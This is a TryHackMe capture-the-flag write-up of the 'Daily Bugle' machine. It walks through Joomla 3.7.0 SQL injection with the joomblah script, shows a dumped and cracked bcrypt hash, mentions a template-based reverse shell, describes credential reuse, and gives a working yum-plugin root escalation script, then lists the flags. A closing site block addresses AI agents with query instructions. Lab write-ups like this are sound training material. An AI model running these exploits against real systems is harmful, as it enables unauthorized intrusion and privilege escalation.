> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-daily-bugle.md).

# THM - Daily Bugle

### NMAP

```bash
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)

80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-generator: Joomla! - Open Source Content Management
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
|_http-title: Home

3306/tcp open  mysql   MariaDB (unauthorized)
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FikKjwNUO163cO5pAC60z%2Fimage.png?alt=media&amp;token=010effef-9886-41d7-b5ef-0efc82bfe2e0" alt=""><figcaption></figcaption></figure>

```bash
dirsearch -u <http://10.82.175.125>

[04:45:56] 200 -    4KB - /README.txt
[04:45:57] 200 -  836B  - /robots.txt
[04:46:10] 200 -    2KB - /web.config.txt

Reading the readme.txt revealed the version of JOOMLA CMS which is 3.7.0.
```

When Did a Quick google search got to know that the JOOMLA CMS is vulnerable to SQL INJECTION and the expliot [Exploit-Joomla](https://github.com/stefanlucas/Exploit-Joomla) reveals users and passwords.

### Joomla&#x20;

```bash
root@ip-10-82-102-158:~/Joomblah# ./joomblah.py <http://10.82.175.125/>

    .---.    .-'''-.        .-'''-.
    |   |   '   _    \     '   _    \                            .---.
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |
    |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.
    |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \.
    |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |
    |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |
 __.'   '                                               |/'..' / '---'/ /   | |_| |     | |
|      '                                               '  `'-'`       \ \._,\ '/| '.    | '.
|____.'                                                                `--'  `" '---'   '---'
         Original code by @stefanlucas

Fetching CSRF token
Testing SQLi
Found table: fb9j5_users
Extracting users from fb9j5_users
Found user [u'811', u'Super User', u'jonah', u'jonah@tryhackme.com', u'$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', u'', u'']
Extracting sessions from fb9j5_session
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm - Possible algorithms: bcrypt $2*$, Blowfish (Unix)
```

```bash
root@ip-10-82-102-158:~# cat jonah.hash
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm

```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FB1o5pXF6wFv4a7kwdSuF%2Fimage.png?alt=media&amp;token=71401dc0-31e8-4da2-aff1-ca673b222646" alt=""><figcaption></figcaption></figure>

```bash
User : jonah
Password : spiderman123
email : jonah@tryhackme.com
```

As the next step login to the administrator portal using the above cred and got access to the joomla portal successfully.

#### Joomla RCE

Now as the next step, Go the templates check the installed templates and modify the existing templates to create a reverse shell as follows:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fj0S7b5Yz7beYYCefFqwr%2Fimage.png?alt=media&amp;token=474a7a5b-6590-4169-8465-c95344c9806b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FeclMuhvTZOxRo017ehY7%2Fimage.png?alt=media&amp;token=da1951e0-57ce-4396-8f3c-3d2ff30879ec" alt=""><figcaption></figcaption></figure>

## Shell as Jameson

```bash
bash-4.2$ su jjameson
su jjameson
Password: nv5uz9r3ZEDzVjNu
```

Password for the jjameson is found in the var/www/html directory inconfiguration.php file.

The password was for root but by using password reuse technique the passsowrd was same.

```bash
[jjameson@dailybugle html]$ sudo -l
sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum
```

The user jjameson can use /usr/bin/yum without pass as root a quick search in gtfobins can give use how to exploit this tool to elevate our privileges.

### Privilege Escalation via Yum

**This executable can run non-interactive system commands.**

Below commands on the jjmeson shell can give us the root access

```bash
mkdir -p /tmp/yumpriv

cat >/tmp/yumpriv/x<<EOF
[main]
plugins=1
pluginpath=/tmp/yumpriv 
pluginconfpath=/tmp/yumpriv 
EOF

cat >/tmp/yumpriv/y.conf<<EOF
[main]
enabled=1
EOF

cat >/tmp/yumpriv/y.py <<EOF
import os
import yum
from yum.plugins import TYPE_CORE, TYPE_INTERACTIVE

requires_api_version = '2.1'

def init_hook(conduit):
    os.system("/bin/bash")
EOF

sudo yum -c /tmp/yumpriv/x --enableplugin=y

```

## Shell as Root

```bash
[root@dailybugle jjameson]# whoami
root

[root@dailybugle jjameson]# cd /root
[root@dailybugle ~]# pwd
/root

[root@dailybugle ~]# ls
anaconda-ks.cfg  root.txt

[root@dailybugle ~]# cat root.txt
eec3d53292b1821868266858d7fa6f79
```

```bash
[jjameson@dailybugle ~]$ ls
ls
user.txt
[jjameson@dailybugle ~]$ cat user.txt
cat user.txt
27a260fe3cba712cfdedb1c86d80442e
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-daily-bugle.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
